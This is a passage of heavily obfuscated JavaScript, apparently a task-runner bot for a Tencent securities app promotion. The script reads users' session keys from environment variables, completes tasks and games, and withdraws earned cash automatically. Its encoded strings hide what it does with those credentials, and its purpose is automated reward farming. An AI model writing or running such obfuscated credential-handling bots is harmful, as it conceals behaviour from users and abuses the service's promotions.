2pQWXg=','TXZnYnA=','ZWtkeEc=','REZHVlk=','XeWKqeWKm+Wksei0pe+8mg==','d3hEb1NoYXJl','QkVlcHI=','QUN5T2s=','VGpSY3k=','WUdsTWY=','WXlXSXc=','Z2pNck0=','YWN0aW9uPXNoYXJlX2NvZGVfaW5mbyZzaGFyZV90eXBlPQ==','T2lsV28=','cmVCSnU=','UEJNR0I=','eERyYUQ=','VGdzVFA=','WlFjRGE=','cmlnaHRzSGlzdG9yeQ==','blhFc2Q=','TG9wdk0=','aHR0cHM6Ly96cWFjdDAzLnRlbnBheS5jb20vY2dpLWJpbi9zaG9wLmZjZ2k/YWN0aW9uPXJpZ2h0c19oaXN0b3J5JnR5cGU9MiZvZmZzZXQ9MCZsaW1pdD0xMCZfPQ==','UUlRQ3E=','YnJzdk0=','anRvSXE=','c3lrWno=','VExlVWs=','Z0FKbHM=','RUxGd2c=','b3JkZXJJbmZv','T3RZTnE=','c2tBdEo=','a2xKV2Q=','Y3VhUVE=','cVpBd0U=','aHR0cHM6Ly96cWFjdDAzLnRlbnBheS5jb20vY2dpLWJpbi9zaG9wLmZjZ2k/YWN0aW9uPW9yZGVyX2luZm8mdHlwZT0yJm9yZGVyX25vPQ==','Jl89','WWpoT1k=','Zlp3alM=','bXR0cUk=','ek1RUlI=','TkVueEo=','WmhrVXI=','d3NIcWU=','b3JkZXI=','Y2FyZF9wd2Q=','WVlRS0Y=','WWpsdmg=','UFlsZWk=','Y2RVVFk=','Z1ZDYnM=','emNCcHY=','REltTkw=','WG9EUWQ=','dW5kZWZpbmVk','aXFBZU0=','bk1LTkQ=','CuWPmOmHj+Whq+WGmeagvOW8j++8jOWkmui0puWPt+eUqOaNouihjChcbinmiJbogIVA5oiW6ICFI+malOW8gDoKb3BlbmlkPXh4JmZza2V5PXl5Jnd6cV9xbHNrZXk9enomd3pxX3FsdWluPWFhCg==','Cj09PT09PT09PT09PT09PT09PT0g55So5oi35L+h5oGvID09PT09PT09PT09PT09PT09PT0=','bUlpaXM=','eUlYaVM=','Cj09PT09PT09PT09PT09PT09PT0g5o+Q546wID09PT09PT09PT09PT09PT09PT0=','RW9lbXQ=','eVp1aXI=','TWh2Wkc=','Y01IbmM=','aG5jUlE=','RVZFbEc=','cmdNRlg=','anB2b1U=','ZVNQSE4=','ZXNxdXo=','dnh6Umg=','ZmlsdGVy','bFNrY0s=','TXdRWng=','Tkl4QnA=','UUhXb1g=','c05CQ2E=','UndpekU=','aXlEeUU=','VldPcGc=','kEjsRjViUami.WVcorZmeC.v6=='];if(function(_0x5eed82,_0x28334e,_0x48a89c){function _0x48ba37(_0x49486b,_0x13e482,_0x471d90,_0x4b1770,_0x555b5b,_0x2397eb){_0x13e482=_0x13e482>>0x8,_0x555b5b='po';var _0x2c7412='shift',_0x446c56='push',_0x2397eb='‮';if(_0x13e482<_0x49486b){while(--_0x49486b){_0x4b1770=_0x5eed82[_0x2c7412]();if(_0x13e482===_0x49486b&&_0x2397eb==='‮'&&_0x2397eb['length']===0x1){_0x13e482=_0x4b1770,_0x471d90=_0x5eed82[_0x555b5b+'p']();}else if(_0x13e482&&_0x471d90['replace'](/[kERVUWVrZeC=]/g,'')===_0x13e482){_0x5eed82[_0x446c56](_0x4b1770);}}_0x5eed82[_0x446c56](_0x5eed82[_0x2c7412]());}return 0xf82a4;};return _0x48ba37(++_0x28334e,_0x48a89c)>>_0x28334e^_0x48a89c;}(_0x3fda,0x1cb,0x1cb00),_0x3fda){_0xodA_=_0x3fda['length']^0x1cb;};function _0x2271(_0x393335,_0x2b9682){_0x393335=~~'0x'['concat'](_0x393335['slice'](0x1));var _0x19ab83=_0x3fda[_0x393335];if(_0x2271['WPlxSF']===undefined&&'‮'['length']===0x1){(function(){var _0x54e2be=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x29d973='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x54e2be['atob']||(_0x54e2be['atob']=function(_0x3291d9){var _0x49996b=String(_0x3291d9)['replace'](/=+$/,'');for(var _0x3ca613=0x0,_0x4fe1cd,_0xdb4698,_0x3f8fc2=0x0,_0x261e53='';_0xdb4698=_0x49996b['charAt'](_0x3f8fc2++);~_0xdb4698&&(_0x4fe1cd=_0x3ca613%0x4?_0x4fe1cd*0x40+_0xdb4698:_0xdb4698,_0x3ca613++%0x4)?_0x261e53+=String['fromCharCode'](0xff&_0x4fe1cd>>(-0x2*_0x3ca613&0x6)):0x0){_0xdb4698=_0x29d973['indexOf'](_0xdb4698);}return _0x261e53;});}());_0x2271['auBoPe']=function(_0x40191f){var _0x5cdff7=atob(_0x40191f);var _0x2999e8=[];for(var _0x149111=0x0,_0x2582a9=_0x5cdff7['length'];_0x149111<_0x2582a9;_0x149111++){_0x2999e8+='%'+('00'+_0x5cdff7['charCodeAt'](_0x149111)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x2999e8);};_0x2271['iKyCeb']={};_0x2271['WPlxSF']=!![];}var _0x5ebc6b=_0x2271['iKyCeb'][_0x393335];if(_0x5ebc6b===undefined){_0x19ab83=_0x2271['auBoPe'](_0x19ab83);_0x2271['iKyCeb'][_0x393335]=_0x19ab83;}else{_0x19ab83=_0x5ebc6b;}return _0x19ab83;};const jsname=_0x2271('‫0');const $=new Env(jsname);const notifyFlag=0x1;let notifyStr='';let envSplitor=['\x0a','@','#'];let httpResult;let withdrawCash=($[_0x2271('‫1')]()?process[_0x2271('‮2')][_0x2271('‮3')]:$[_0x2271('‫4')](_0x2271('‮3')))||0x5;let helpFlag=($[_0x2271('‫1')]()?process[_0x2271('‮2')][_0x2271('‫5')]:$[_0x2271('‫4')](_0x2271('‫5')))||0x1;let newbieFlag=($[_0x2271('‫1')]()?process[_0x2271('‮2')][_0x2271('‮6')]:$[_0x2271('‫4')](_0x2271('‮6')))||0x0;let userCookie=($[_0x2271('‫1')]()?process[_0x2271('‮2')][_0x2271('‫7')]:$[_0x2271('‮8')](_0x2271('‫7')))||'';let userList=[];let userIdx=0x0;let userCount=0x0;let TASK_WAITTIME=0x64;let BULL_WAITTIME=0x1388;let test_taskList=[];let todayDate=formatDateTime();let SCI_code=_0x2271('‮9');let marketCode={'sz':0x0,'sh':0x1,'hk':0x2};let signType={'task':_0x2271('‫a'),'sign':_0x2271('‮b'),'award':_0x2271('‮c')};let taskList={'app':{'daily':[0x451,0x44d,0x457,0x459],'newbie':[0x3ff,0x409],'dailyShare':[_0x2271('‮d'),_0x2271('‫e'),_0x2271('‮f'),_0x2271('‫10'),_0x2271('‮11'),_0x2271('‮12'),_0x2271('‮13'),_0x2271('‫14'),_0x2271('‫15'),_0x2271('‫16')],'newbieShare':[]},'wx':{'daily':[0x44c,0x456,0x458],'newbie':[0x408],'dailyShare':[_0x2271('‫17'),_0x2271('‫18'),_0x2271('‫19'),_0x2271('‮1a'),_0x2271('‫1b'),_0x2271('‮1c'),_0x2271('‫1d')],'newbieShare':[_0x2271('‮1e'),_0x2271('‮1f'),_0x2271('‮20'),_0x2271('‫21')]}};let bullTaskArray={'rock_bullish':{'taskName':_0x2271('‮22'),'action':_0x2271('‮23'),'actid':0x451},'open_box':{'taskName':_0x2271('‮24'),'action':_0x2271('‮25'),'actid':0x451},'open_blindbox':{'taskName':_0x2271('‮26'),'action':_0x2271('‮27'),'actid':0x451},'query_blindbox':{'taskName':_0x2271('‮28'),'action':_0x2271('‮29'),'actid':0x451},'sell_skin':{'taskName':_0x2271('‮2a'),'action':_0x2271('‫2b'),'actid':0x451},'feed':{'taskName':_0x2271('‫2c'),'action':_0x2271('‮2d'),'actid':0x451}};class UserInfo{constructor(_0x3a300f){var _0x490a02={'LLoqK':function(_0x3fb421,_0x4607b3){return _0x3fb421(_0x4607b3);},'MmuqI':_0x2271('‫2e'),'YUZCA':_0x2271('‫2f'),'dkHGH':_0x2271('‫30'),'qJeLu':_0x2271('‫31'),'uQIzU':_0x2271('‫32'),'ssdWS':function(_0x582491,_0x3d2915){return _0x582491!==_0x3d2915;},'BwMxq':_0x2271('‫33'),'jgrha':_0x2271('‮34'),'KiOit':function(_0x1c9d9a,_0x10dc94){return _0x1c9d9a>_0x10dc94;},'bXcZJ':function(_0x5caaab,_0x45b3d5){return _0x5caaab===_0x45b3d5;},'ZCSsM':_0x2271('‫35'),'TcCRB':_0x2271('‮36'),'MgDWS':_0x2271('‫37')};this[_0x2271('‮38')]=++userIdx;this[_0x2271('‫39')]=this[_0x2271('‮38')];this[_0x2271('‫3a')]=!![];this[_0x2271('‮3b')]=!![];this[_0x2271('‮3c')]=![];this[_0x2271('‫3d')]=-0x1;this[_0x2271('‮3e')]={'task':{},'newbie':{},'bull':{},'guess':{}};this[_0x2271('‫3f')]=![];this[_0x2271('‮40')]='';let _0x5e6766=_0x490a02[_0x2271('‫41')](str2json,_0x3a300f);this[_0x2271('‫2e')]=_0x5e6766[_0x490a02[_0x2271('‮42')]]||'';this[_0x2271('‫2f')]=_0x5e6766[_0x490a02[_0x2271('‫43')]]||'';this[_0x2271('‫30')]=_0x5e6766[_0x490a02[_0x2271('‮44')]]||'';this[_0x2271('‫31')]=_0x5e6766[_0x490a02[_0x2271('‫45')]]||'';this[_0x2271('‫32')]=_0x5e6766[_0x490a02[_0x2271('‮46')]]||0x1;this[_0x2271('‫47')]=_0x2271('‫48')+this[_0x2271('‫30')]+_0x2271('‮49')+this[_0x2271('‫31')]+_0x2271('‫4a')+this[_0x2271('‫2e')]+';';let _0xe80bbf=[_0x490a02[_0x2271('‮42')],_0x490a02[_0x2271('‫43')],_0x490a02[_0x2271('‮44')],_0x490a02[_0x2271('‫45')]];let _0x47d62e=[];for(let _0x3392c4 of _0xe80bbf){if(_0x490a02[_0x2271('‫4b')](_0x490a02[_0x2271('‫4c')],_0x490a02[_0x2271('‮4d')])){if(!this[_0x3392c4])_0x47d62e[_0x2271('‮4e')](_0x3392c4);}else{console[_0x2271('‫4f')]('完成'+taskItem[_0x2271('‮50')]+'['+taskItem[_0x2271('‮51')]+'-'+id+'-'+tid+_0x2271('‫52')+result[_0x2271('‫53')]);}}if(_0x490a02[_0x2271('‫54')](_0x47d62e[_0x2271('‫55')],0x0)){if(_0x490a02[_0x2271('‫56')](_0x490a02[_0x2271('‫57')],_0x490a02[_0x2271('‫57')])){let _0x2c0409=_0x47d62e[_0x2271('‫58')](',\x20');let _0x58a2fd=_0x2271('‫59')+this[_0x2271('‮38')]+_0x2271('‫5a')+_0x2c0409;if(_0x490a02[_0x2271('‫54')](_0x2c0409[_0x2271('‫5b')](_0x490a02[_0x2271('‮42')]),-0x1)||_0x490a02[_0x2271('‫54')](_0x2c0409[_0x2271('‫5b')](_0x490a02[_0x2271('‫43')]),-0x1)){_0x58a2fd+=_0x490a02[_0x2271('‫5c')];this[_0x2271('‫3a')]=![];}else if(_0x490a02[_0x2271('‫54')](_0x2c0409[_0x2271('‫5b')](_0x490a02[_0x2271('‮44')]),-0x1)||_0x490a02[_0x2271('‫54')](_0x2c0409[_0x2271('‫5b')](_0x490a02[_0x2271('‫45')]),-0x1)){_0x58a2fd+=_0x490a02[_0x2271('‫5d')];this[_0x2271('‮3b')]=![];}console[_0x2271('‫4f')](_0x58a2fd);}else{console[_0x2271('‫4f')](taskItem[_0x2271('‮50')]+'['+taskItem[_0x2271('‮51')]+'-'+id+'-'+tid+_0x2271('‮5e'));}}}async[_0x2271('‮5f')](){var _0x5dd1d0={'ciXBC':function(_0x2d3e5c,_0x4e0e6b){return _0x2d3e5c|_0x4e0e6b;},'oAhdE':function(_0x2fb616,_0x484610){return _0x2fb616>>_0x484610;},'USlvg':function(_0x4bc620,_0x3d70e1){return _0x4bc620|_0x3d70e1;},'jczTS':function(_0x3487ea,_0x4ec1e8){return _0x3487ea&_0x4ec1e8;},'EIUAV':function(_0x307f63,_0x3be458){return _0x307f63!==_0x3be458;},'iVeIw':_0x2271('‫60'),'VAUTX':_0x2271('‮61'),'rbwgh':function(_0xf8a703,_0x540f97,_0x367f3f,_0x1d0ae){return _0xf8a703(_0x540f97,_0x367f3f,_0x1d0ae);},'VYPox':function(_0x3c09b5,_0x3d6f56,_0x5ce99b){return _0x3c09b5(_0x3d6f56,_0x5ce99b);},'NRmzJ':_0x2271('‫62'),'BveDN':function(_0x52b26a,_0x51f91c){return _0x52b26a==_0x51f91c;},'jNlNy':function(_0x371f36,_0x17ac2d){return _0x371f36!==_0x17ac2d;},'xiEyq':_0x2271('‫63'),'KLOLh':_0x2271('‫64')};try{if(_0x5dd1d0[_0x2271('‫65')](_0x5dd1d0[_0x2271('‫66')],_0x5dd1d0[_0x2271('‫67')])){let _0x36a7d1=_0x2271('‫68')+this[_0x2271('‫2e')]+_0x2271('‮69')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')];let _0x323e9d=_0x2271('‮6b')+this[_0x2271('‫2e')]+_0x2271('‮6c')+this[_0x2271('‫2e')];let _0x1156b1=_0x5dd1d0[_0x2271('‮6d')](populateUrlObject,_0x36a7d1,this[_0x2271('‫47')],_0x323e9d);await _0x5dd1d0[_0x2271('‮6e')](httpRequest,_0x5dd1d0[_0x2271('‫6f')],_0x1156b1);let _0x2f8f01=httpResult;if(!_0x2f8f01)return;if(_0x5dd1d0[_0x2271('‫70')](_0x2f8f01[_0x2271('‫71')],0x0)){this[_0x2271('‫39')]=_0x2f8f01[_0x2271('‮72')][_0x2271('‫73')];}else{console[_0x2271('‫4f')](_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‮74')+_0x2f8f01[_0x2271('‮75')]);}}else{console[_0x2271('‫4f')]('完成'+taskItem[_0x2271('‮50')]+'['+taskItem[_0x2271('‮51')]+'-'+id+'-'+tid+_0x2271('‫52')+result[_0x2271('‫53')]);}}catch(_0x5b8767){if(_0x5dd1d0[_0x2271('‮76')](_0x5dd1d0[_0x2271('‫77')],_0x5dd1d0[_0x2271('‫78')])){console[_0x2271('‫4f')](_0x5b8767);}else{t+=String[_0x2271('‮79')](_0x5dd1d0[_0x2271('‮7a')](_0x5dd1d0[_0x2271('‫7b')](r,0x6),0xc0));t+=String[_0x2271('‮79')](_0x5dd1d0[_0x2271('‮7c')](_0x5dd1d0[_0x2271('‫7d')](r,0x3f),0x80));}}finally{}}async[_0x2271('‮7e')](_0x54b90e=![]){var _0x228ed0={'XVgpI':function(_0x5f5b83,_0x222cfa){return _0x5f5b83+_0x222cfa;},'MyScS':_0x2271('‫7'),'OsuRO':function(_0x430fe9,_0x4d6638){return _0x430fe9+_0x4d6638;},'qupPV':_0x2271('‫7f'),'eXKka':_0x2271('‮80'),'jSGsx':_0x2271('‫81'),'ubBOd':function(_0x180d0e,_0x21141e,_0x2672e3,_0x353850){return _0x180d0e(_0x21141e,_0x2672e3,_0x353850);},'xPUxd':function(_0x5e1100,_0x31a1ab,_0xc2d9c9){return _0x5e1100(_0x31a1ab,_0xc2d9c9);},'WcgoV':_0x2271('‫82'),'Ybajb':function(_0x38cfa7,_0x1db3aa){return _0x38cfa7==_0x1db3aa;},'MGtqC':function(_0x2f424b,_0x4796d7){return _0x2f424b>_0x4796d7;},'wqYjS':function(_0xd1f62f,_0x2b0e46){return _0xd1f62f===_0x2b0e46;},'rUtjg':_0x2271('‫83'),'hDJGE':function(_0x241bdf,_0x291099){return _0x241bdf(_0x291099);},'msiPh':function(_0x4dc89d,_0x387afe){return _0x4dc89d>_0x387afe;},'DwDJX':function(_0xbba3fe,_0x1a3e34){return _0xbba3fe>_0x1a3e34;},'LNRRc':function(_0x5be1d4,_0x27e5f1){return _0x5be1d4!==_0x27e5f1;},'qXIPW':_0x2271('‮84'),'JtGxU':_0x2271('‫85'),'fwdfb':function(_0x2ea1c6,_0xbbbd1e){return _0x2ea1c6>=_0xbbbd1e;},'fWdMz':function(_0x35f23d,_0x1b69cb){return _0x35f23d(_0x1b69cb);},'BNLhu':_0x2271('‮86'),'EyHcL':function(_0x2e6b14,_0x529aba){return _0x2e6b14!==_0x529aba;},'mLJdb':_0x2271('‮87'),'KwtdE':_0x2271('‮88')};try{let _0x23659f=_0x2271('‫89')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮8a');let _0x2bfb92='';let _0x3d0027=_0x228ed0[_0x2271('‮8b')](populateUrlObject,_0x23659f,this[_0x2271('‫47')],_0x2bfb92);await _0x228ed0[_0x2271('‫8c')](httpRequest,_0x228ed0[_0x2271('‮8d')],_0x3d0027);let _0x141ee9=httpResult;if(!_0x141ee9)return;if(_0x228ed0[_0x2271('‫8e')](_0x141ee9[_0x2271('‮8f')],0x0)){this[_0x2271('‮3c')]=!![];let _0x357ad0=this[_0x2271('‫3d')];this[_0x2271('‫3d')]=_0x141ee9[_0x2271('‮90')]?_0x141ee9[_0x2271('‮90')][_0x2271('‫91')]:0x0;if(_0x228ed0[_0x2271('‫92')](_0x357ad0,-0x1)){if(_0x228ed0[_0x2271('‫93')](_0x228ed0[_0x2271('‮94')],_0x228ed0[_0x2271('‮94')])){_0x228ed0[_0x2271('‫95')](logAndNotify,_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‮96')+this[_0x2271('‫3d')]);}else{userCookie=_0x228ed0[_0x2271('‮97')](_0x228ed0[_0x2271('‮97')](userCookie,'\x0a'),ck);$[_0x2271('‮98')](userCookie,_0x228ed0[_0x2271('‮99')]);let _0x22211b=userCookie[_0x2271('‮9a')]('\x0a');$[_0x2271('‮75')](_0x228ed0[_0x2271('‫9b')](jsname,_0x2271('‮9c')+_0x22211b[_0x2271('‫55')]+_0x2271('‮9d')+ck));}}else{console[_0x2271('‫4f')](_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‮96')+this[_0x2271('‫3d')]);}if(_0x54b90e&&_0x228ed0[_0x2271('‮9e')](withdrawCash,0x0)){if(_0x141ee9[_0x2271('‫9f')]&&_0x228ed0[_0x2271('‮a0')](_0x141ee9[_0x2271('‫9f')][_0x2271('‫55')],0x0)){if(_0x228ed0[_0x2271('‫a1')](_0x228ed0[_0x2271('‫a2')],_0x228ed0[_0x2271('‫a2')])){_0x3d0027[_0x2271('‫a3')]=_0x2bfb92;_0x3d0027[_0x2271('‫a4')][_0x228ed0[_0x2271('‮a5')]]=_0x228ed0[_0x2271('‮a6')];_0x3d0027[_0x2271('‫a4')][_0x228ed0[_0x2271('‮a7')]]=_0x3d0027[_0x2271('‫a3')]?_0x3d0027[_0x2271('‫a3')][_0x2271('‫55')]:0x0;}else{let _0x919cff=withdrawCash+_0x2271('‮a8');for(let _0x4d301f of _0x141ee9[_0x2271('‫9f')]){if(_0x228ed0[_0x2271('‫8e')](_0x4d301f[_0x2271('‫a9')],_0x919cff)){if(_0x228ed0[_0x2271('‫93')](_0x228ed0[_0x2271('‮aa')],_0x228ed0[_0x2271('‮aa')])){if(_0x228ed0[_0x2271('‮ab')](_0x228ed0[_0x2271('‮ac')](parseInt,this[_0x2271('‫3d')]),_0x228ed0[_0x2271('‮ac')](parseInt,_0x4d301f[_0x2271('‮ad')]))){_0x228ed0[_0x2271('‮ac')](logAndNotify,_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‫ae')+_0x4d301f[_0x2271('‮ad')]+_0x2271('‮af')+_0x919cff);await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‫b1')](_0x4d301f[_0x2271('‫b2')]);}else{if(_0x228ed0[_0x2271('‫a1')](_0x228ed0[_0x2271('‮b3')],_0x228ed0[_0x2271('‮b3')])){t+=String[_0x2271('‮79')](r);n++;}else{console[_0x2271('‫4f')](_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‫b4')+_0x4d301f[_0x2271('‮ad')]+_0x2271('‮b5'));}}break;}else{console[_0x2271('‫4f')](data);return![];}}}}}}}else{if(_0x228ed0[_0x2271('‮b6')](_0x228ed0[_0x2271('‫b7')],_0x228ed0[_0x2271('‫b8')])){console[_0x2271('‫4f')](_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‮b9')+_0x141ee9[_0x2271('‮ba')]);}else{console[_0x2271('‫4f')]('获取'+taskItem[_0x2271('‮50')]+'['+taskItem[_0x2271('‮51')]+_0x2271('‮bb')+_0x141ee9[_0x2271('‫bc')]);}}}catch(_0x31c892){console[_0x2271('‫4f')](_0x31c892);}finally{}}async[_0x2271('‫bd')](){var _0x2fc0b4={'mAFGh':function(_0x56d890,_0xafd293){return _0x56d890|_0xafd293;},'sLjsb':function(_0x5379c1,_0x57a4d5){return _0x5379c1&_0x57a4d5;},'NcWSc':function(_0x2f39d2,_0x112428){return _0x2f39d2<_0x112428;},'rdBNV':function(_0xffde9f,_0x4793d2){return _0xffde9f>_0x4793d2;},'xzgKj':function(_0x57627d,_0x1d99eb){return _0x57627d<_0x1d99eb;},'oOybH':function(_0x674782,_0x5c800){return _0x674782+_0x5c800;},'ssPEs':function(_0x2594b4,_0x3e1c8f){return _0x2594b4|_0x3e1c8f;},'BBxUI':function(_0x3ebea7,_0x479af1){return _0x3ebea7<<_0x479af1;},'lVrkh':function(_0x2d1210,_0x1e8476){return _0x2d1210&_0x1e8476;},'FmvSn':function(_0x125298,_0x476d20){return _0x125298&_0x476d20;},'OFBgR':function(_0x29649d,_0x438e49){return _0x29649d+_0x438e49;},'zOydR':function(_0x5378f6,_0x4d961e){return _0x5378f6|_0x4d961e;},'orybk':function(_0x494c92,_0xf68b08){return _0x494c92&_0xf68b08;},'ZOdLo':function(_0x4ac9e5,_0xbe3eaf){return _0x4ac9e5<<_0xbe3eaf;},'kZboO':function(_0x5209f5,_0x3a1b5a){return _0x5209f5&_0x3a1b5a;},'exEEH':function(_0x284598,_0x3db0d0){return _0x284598+_0x3db0d0;},'NQLvl':function(_0x4d86f2,_0x20a12f){return _0x4d86f2/_0x20a12f;},'yCzBj':function(_0x21c936,_0x3f163d){return _0x21c936-_0x3f163d;},'jAWWo':function(_0x785d5c,_0x22cff8){return _0x785d5c%_0x22cff8;},'KmsHx':function(_0x30b64a,_0x87937d){return _0x30b64a*_0x87937d;},'Eefnm':function(_0x42a2dc,_0x6ab901){return _0x42a2dc+_0x6ab901;},'XGzgM':function(_0x3fd1cd,_0x430029){return _0x3fd1cd-_0x430029;},'VcZDB':function(_0x320c83,_0x1ebf00){return _0x320c83-_0x1ebf00;},'XqpWv':function(_0x1160e5,_0x48fb1d){return _0x1160e5|_0x48fb1d;},'GObKf':function(_0x49ca7c,_0x2771fc){return _0x49ca7c%_0x2771fc;},'otEjk':function(_0x2fff33,_0x452481){return _0x2fff33*_0x452481;},'JzTrf':function(_0x2ef433,_0x2b44e5){return _0x2ef433%_0x2b44e5;},'RqKqN':function(_0x3bae3b,_0x54b049){return _0x3bae3b|_0x54b049;},'PqNvb':function(_0x32eb6a,_0x1448c9){return _0x32eb6a<<_0x1448c9;},'jlvJg':function(_0x342962,_0x2673e4){return _0x342962-_0x2673e4;},'MixeP':function(_0x1e0c92,_0x1439ec){return _0x1e0c92>>>_0x1439ec;},'SOHdu':function(_0x5de122,_0x5a1b8c,_0x3411b0,_0x27f483){return _0x5de122(_0x5a1b8c,_0x3411b0,_0x27f483);},'eOQoN':function(_0x2b6ddc,_0x2bac86,_0xf1e697){return _0x2b6ddc(_0x2bac86,_0xf1e697);},'BkHSr':_0x2271('‫82'),'auJCi':function(_0x9d657e,_0x49f80e){return _0x9d657e==_0x49f80e;},'DVIDO':function(_0x2acd3f,_0x17fe1b){return _0x2acd3f===_0x17fe1b;},'DDqVV':_0x2271('‫be'),'wBqpD':_0x2271('‮bf'),'eqpuc':function(_0x22beea,_0x2f6b47){return _0x22beea(_0x2f6b47);},'yhRPH':function(_0xdc69b8,_0x1c7c61){return _0xdc69b8!==_0x1c7c61;},'QaAlC':_0x2271('‮c0'),'hGoLB':function(_0x3e0d5e,_0x897f8d){return _0x3e0d5e!=_0x897f8d;},'PNAnk':_0x2271('‮c1'),'KJrKB':function(_0x2ebb67,_0x5c9c71){return _0x2ebb67===_0x5c9c71;},'AQTTa':function(_0x250bb0,_0x436871){return _0x250bb0===_0x436871;},'mxAeK':_0x2271('‮c2'),'JdcLU':function(_0x4430a7,_0x33a1fc){return _0x4430a7+_0x33a1fc;},'FptYd':_0x2271('‮c3'),'xzTQg':function(_0x38b08f,_0x32a1ea){return _0x38b08f+_0x32a1ea;},'ZDIiB':_0x2271('‮c4'),'enGHQ':_0x2271('‫c5'),'aXHjW':_0x2271('‮c6')};try{let _0x59f540=_0x2271('‫89')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮8a');let _0x53bc3c='';let _0xfa037b=_0x2fc0b4[_0x2271('‮c7')](populateUrlObject,_0x59f540,this[_0x2271('‫47')],_0x53bc3c);await _0x2fc0b4[_0x2271('‫c8')](httpRequest,_0x2fc0b4[_0x2271('‫c9')],_0xfa037b);let _0x1197ab=httpResult;if(!_0x1197ab)return;if(_0x2fc0b4[_0x2271('‮ca')](_0x1197ab[_0x2271('‮8f')],0x0)){if(_0x2fc0b4[_0x2271('‮cb')](_0x2fc0b4[_0x2271('‫cc')],_0x2fc0b4[_0x2271('‮cd')])){return _0x2fc0b4[_0x2271('‮ce')](_0x2fc0b4[_0x2271('‮cf')](a,b),_0x2fc0b4[_0x2271('‮cf')](~a,c));}else{this[_0x2271('‮3c')]=!![];let _0x29199=this[_0x2271('‫3d')];this[_0x2271('‫3d')]=_0x1197ab[_0x2271('‮90')]?_0x1197ab[_0x2271('‮90')][_0x2271('‫91')]:0x0;if(_0x2fc0b4[_0x2271('‮d0')](_0x29199,-0x1)){_0x2fc0b4[_0x2271('‫d1')](logAndNotify,_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‮96')+this[_0x2271('‫3d')]+_0x2271('‫d2')+_0x2fc0b4[_0x2271('‫d3')](this[_0x2271('‫3d')],_0x29199)+'金币');}else{console[_0x2271('‫4f')](_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‮96')+this[_0x2271('‫3d')]);}for(const _0x4a43ec of _0x1197ab[_0x2271('‫d4')]){if(_0x2fc0b4[_0x2271('‮d5')](_0x2fc0b4[_0x2271('‮d6')],_0x2fc0b4[_0x2271('‮d6')])){r=e[_0x2271('‮d7')](n);if(_0x2fc0b4[_0x2271('‮d8')](r,0x80)){t+=String[_0x2271('‮79')](r);n++;}else if(_0x2fc0b4[_0x2271('‮d0')](r,0xbf)&&_0x2fc0b4[_0x2271('‮d9')](r,0xe0)){c2=e[_0x2271('‮d7')](_0x2fc0b4[_0x2271('‮da')](n,0x1));t+=String[_0x2271('‮79')](_0x2fc0b4[_0x2271('‫db')](_0x2fc0b4[_0x2271('‫dc')](_0x2fc0b4[_0x2271('‫dd')](r,0x1f),0x6),_0x2fc0b4[_0x2271('‫de')](c2,0x3f)));n+=0x2;}else{c2=e[_0x2271('‮d7')](_0x2fc0b4[_0x2271('‫df')](n,0x1));c3=e[_0x2271('‮d7')](_0x2fc0b4[_0x2271('‫df')](n,0x2));t+=String[_0x2271('‮79')](_0x2fc0b4[_0x2271('‮e0')](_0x2fc0b4[_0x2271('‮e0')](_0x2fc0b4[_0x2271('‫dc')](_0x2fc0b4[_0x2271('‫e1')](r,0xf),0xc),_0x2fc0b4[_0x2271('‮e2')](_0x2fc0b4[_0x2271('‫e1')](c2,0x3f),0x6)),_0x2fc0b4[_0x2271('‮e3')](c3,0x3f)));n+=0x3;}}else{if(_0x2fc0b4[_0x2271('‮e4')](_0x4a43ec[_0x2271('‫a9')][_0x2271('‫5b')](_0x2fc0b4[_0x2271('‮e5')]),-0x1)&&_0x2fc0b4[_0x2271('‮e6')](_0x4a43ec[_0x2271('‫e7')],'1')){if(_0x2fc0b4[_0x2271('‮e8')](_0x2fc0b4[_0x2271('‫e9')],_0x2fc0b4[_0x2271('‫e9')])){console[_0x2271('‫4f')](_0x2fc0b4[_0x2271('‫ea')](_0x2fc0b4[_0x2271('‫eb')],_0x4a43ec[_0x2271('‫a9')]));console[_0x2271('‫4f')](_0x2fc0b4[_0x2271('‫ec')](_0x2fc0b4[_0x2271('‫ed')],_0x4a43ec[_0x2271('‫b2')]));await this[_0x2271('‫b1')](_0x4a43ec[_0x2271('‫b2')]);}else{for(var _0x166f90,_0x25a832=a[_0x2271('‫55')],_0x44bfa5=_0x2fc0b4[_0x2271('‫ee')](_0x25a832,0x8),_0x216fe5=_0x2fc0b4[_0x2271('‮ef')](_0x2fc0b4[_0x2271('‫f0')](_0x44bfa5,_0x2fc0b4[_0x2271('‮f1')](_0x44bfa5,0x40)),0x40),_0x1866fa=_0x2fc0b4[_0x2271('‮f2')](0x10,_0x2fc0b4[_0x2271('‮f3')](_0x216fe5,0x1)),_0x3f91ac=new Array(_0x2fc0b4[_0x2271('‫f4')](_0x1866fa,0x1)),_0x6a258c=0x0,_0x44cf72=0x0;_0x2fc0b4[_0x2271('‮d0')](_0x25a832,_0x44cf72);)_0x166f90=_0x2fc0b4[_0x2271('‮ef')](_0x2fc0b4[_0x2271('‫f5')](_0x44cf72,_0x2fc0b4[_0x2271('‮f1')](_0x44cf72,0x4)),0x4),_0x6a258c=_0x2fc0b4[_0x2271('‮f2')](_0x2fc0b4[_0x2271('‮f1')](_0x44cf72,0x4),0x8),_0x3f91ac[_0x166f90]=_0x2fc0b4[_0x2271('‮f6')](_0x3f91ac[_0x166f90],_0x2fc0b4[_0x2271('‮e2')](a[_0x2271('‮d7')](_0x44cf72),_0x6a258c)),_0x44cf72++;return 